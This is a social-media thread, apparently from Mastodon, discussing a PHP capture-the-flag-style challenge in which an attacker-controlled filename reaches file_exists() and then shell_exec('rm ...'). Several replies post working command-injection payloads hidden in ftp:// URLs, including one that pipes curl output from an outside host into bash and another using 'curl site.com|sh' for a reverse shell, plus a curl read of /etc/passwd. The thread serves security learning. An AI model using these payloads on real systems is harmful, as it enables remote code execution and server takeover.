Had this on a recent engagement and thought I'd provide a cut-down version as a fun little CTF-like challenge.

As an attacker, you can invoke `pwnme()` and control the value of `$filename` via a web request.

You cannot control the contents of the file system that this code is running on. You don't have the ability to upload files.

How do you achieve command injection?

#php #challenge

@oj Pollute and execute access logs.
@jeremy How does that achieve code exec here?
@oj You control the values entered into the access logs, you control the filename, you execute the access log filename effectively as an include.
@jeremy shell_exec doesn't include any files, and file_exists doesn't interpret the file either. Am I missing something?

@oj It's been awhile since I've done this. So it's quite possible that I'm missing something.

file_exists merely verifies the presence of the file.

shell_exec should execute any valid PHP within the file. Enter <?php opening block, functions, anything else you want to include in the access logs, escape and close the PHP block, then arbitrarily attempt to execute the block of code using the pwnme() function to execute command injection, establish a reverse shell, or nearly anything else you like. It's admittedly a sloppy approach.

However, also, like I said, it's been awhile, so my memory might be a bit foggy.

@jeremy shell_exec() is basically like system(). It runs a command on the underlying OS, it doesn't include or interpret any files like include() or require().
@oj LOL... derp.
@jeremy We've all been there :)
@oj So, if you can determine which OS is being run from server banners, and assuming that your inputs are not sanitized and no WAF is in place, then why wouldn't you simply execute a system-level reverse shell?
@jeremy I'm not interested in what commands you might run.. I want to know how you would get command exec in the first place.

@oj
Ahh, you're gonna make me dust it off. LOL... OK.

1. Attempt to determine OS from banners.
2. Determine valid path and most-likely binary available in target OS to establish command exec. Or host a binary matching your target OS on the attacking machine.
3. Select and execute the chosen binary with no parameters/args.

Remote Code Execution would probably be preferable, to grant you further control over the target binary.

Does this answer your question?

@jeremy No. It still doesn't say how you are going to execute anything.
@oj It seems like this was answered. file_exists tests for the existence of the file. shell_exec, then executes that file at the system level. If you are allowed to control the target binary by remotely hosting it, then you can craft anything you desire, while requiring no arguments.
@jeremy Nope, still not. You can't upload files (as per the question). shell_exec() is invoked with "rm {$filename}", not directly with just what you give it. You haven't indicated what string you would pass in to get past file_exists() that also works as a way to execute commands.
GitHub - justinsteven/php-file-exists-rm-challenge

Contribute to justinsteven/php-file-exists-rm-challenge development by creating an account on GitHub.

GitHub
@justinsteven @oj @jeremy I've dropped a working solution below but there are other ways to go about it, it's a fun one. Gotta love PHP!

@oj

I was thinking something like:

% wget 'http://127.0.0.1/[insert filename here]'

...but when you said above that you weren't interested in what commands I might run, I decided not to demonstrate syntax.

In the meantime, someone else already posted similar solutions.

@jeremy but you can't invoke wget.

@jeremy @oj sorry, but no.

You've suggested "poison the access logs and execute them" despite the fact that the challenge uses a shell to `rm` the filename you give it; it doesn't execute it. You've also suggested "simply execute a system-level reverse shell" by "determining most-likely binary available in target OS to establish command exec" but you haven't shown _how_ to get command exec.

Now you're saying to wget something off of 127.0.0.1 without saying if you're doing that locally on your machine, or if you're doing it on the victim's machine - in which case you're nowhere near being able to execute arbitrary commands on their machine yet, and if you could why would you want to wget their localhost anyway?

You don't then get to say "in the meantime someone else already posted similar solutions" like you were on the right track. Sorry, but you just weren't.

The challenge was "how do you achieve command injection?" not "what would you do with command injection?"

The trick used in the solutions we know work was that file_exists() will honour a URL such as ftp:// to check the existence of a file, at which point you have various places inside a ftp:// URL to hide a command injection trigger (I originally used the username/password part, and bitquark used the fragment which I think is super clever)

Saying "nice trick" or "interesting, TIL" or "yeah gotcha that makes sense" would parse. Saying nothing at all would be appropriate. Saying "that's what I was saying all along!" which is how what you're saying sounds to me (but it might just be me) just doesn't make sense. Take the L.

@oj is it php protocol wrapper like ftp, phar leads to unserialize bug?
@mugu phar:// requires reading from the filesystem... which you don't control. What does ftp give ya?
@oj I'd go with something like:
ftp://ftp.gnu.org/#$(id)
@Bitquark You're on the right track, just gotta make sure that the file_exists comes back true.
@oj It does, at least on my PHP version :-)
@Bitquark yeah nice, wasn't aware of the `#` thingo... sweet.
@oj I thought I'd have to use the username/password field or do some path traversal, but that seemed to do the trick. PHP, eh?

@Bitquark @oj I used the password, and I brought my own server. Very cute use of gnu.org and the #, and I didn't know the root of a server is considered to be existent. Very nice 👏​

My awful solution:

ftp://anonymous:$(curl+172.18.0.1:4445|bash)@172.18.0.12:2121/empty

@justinsteven @oj Nice! That's a perfectly good solution. I thought I might have to go down that route too but I tried # and ? on the off chance and PHP just... ignores anything after them like it's a web URI

@Bitquark @oj I suppose it's a URI, and so RFC 3986 would apply and so fragments are respected.

curl is the same:

% curl -s 'ftp://ftp.gnu.org/README#lol' | head -n1
This is ftp.gnu.org, the FTP server of the the GNU project.

curl even allows fragments for file://

% curl -s 'file:///etc/passwd#lol' | head -n1
root:x:0:0:root:/root:/bin/bash

but PHP doesn't allow fragments for file://

% php -r 'file_exists("file:///etc/passwd#lol") || print 0;'
0

@Bitquark @oj

This is such an elegant solution. One question, how do you catch the output of id? I have verified that this successfully bypasses the file_exists function, I just can't get this payload to a place where I can see the output.

@kevinfarrow @Bitquark My payload consisted of "curl site.com|sh" which allowed for anything to be run, including a reverse shell.
@oj id start with filename is foo;id
@notaname @oj that would almost certainly fail to pass the file_exists() conditional though. And per the challenge you can't create files on the victim system.
@justinsteven @oj *reads file_exists docs* 
@justinsteven @oj filename is something like https://myserver.com/;<shell command> might need to futz with things
@oj Okay, I finally got it! I had trouble with Docker's networking, but it now definitely works. I ran @justinsteven's Docker image for the challenge. Then in another Docker image (172.17.0.4), I ran a vsftpd server with a file called ';id>id.txt'. Now I can run `curl 'http://localhost:8000/index.php?filename=ftp://172.17.0.4/;id%3Eid.txt'` which outputs the results of the id command into http://localhost:8000/id.txt.
@kevinfarrow Well done :) Cute little challenge I reckon!